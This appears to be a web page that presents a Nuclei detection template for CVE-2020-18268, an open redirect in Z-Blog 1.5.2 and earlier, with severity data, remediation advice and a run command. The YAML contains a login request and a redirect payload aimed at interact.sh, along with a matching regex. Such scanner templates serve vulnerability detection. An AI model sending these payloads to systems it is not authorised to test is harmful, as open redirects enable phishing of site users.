Z-Blog <=1.5.2 - Open Redirect

ID: CVE-2020-18268

Severity: medium

Author: 0x_Akoko

Tags: cve,cve2020,redirect,zblogphp,authenticated,zblogcn

Description

Z-Blog 1.5.2 and earlier contains an open redirect vulnerability via the redirect parameter in zb_system/cmd.php. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

id: CVE-2020-18268

info:
  name: Z-Blog <=1.5.2 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: Z-Blog 1.5.2 and earlier contains an open redirect vulnerability via the redirect parameter in zb_system/cmd.php. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the execution of further attacks.
  remediation: |
    Upgrade Z-Blog to version 1.5.3 or later to fix the open redirect vulnerability.
  reference:
    - https://github.com/zblogcn/zblogphp/issues/216
    - https://github.com/zblogcn/zblogphp/issues/209
    - https://nvd.nist.gov/vuln/detail/CVE-2020-18268
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-18268
    cwe-id: CWE-601
    epss-score: 0.00147
    epss-percentile: 0.50674
    cpe: cpe:2.3:a:zblogcn:z-blogphp:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: zblogcn
    product: z-blogphp
  tags: cve,cve2020,redirect,zblogphp,authenticated,zblogcn

http:
  - raw:
      - |
        POST /zb_system/cmd.php?act=verify HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 81
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        btnPost=Log+In&username={{username}}&password={{md5("{{password}}")}}&savedate=0
      - |
        GET /zb_system/cmd.php?atc=login&redirect=http://www.interact.sh HTTP/2
        Host: {{Hostname}}

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 490a0046304402203b32727dd1506c4e01267a80e84747f7a81e115dc4ba4a6b1b765b87f7a5294202200e7f0194efb0231f831a37aac2e4ec2bb9946345cfe1745dfe9f2cb9fdb5e0a3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-18268.yaml"

View on Github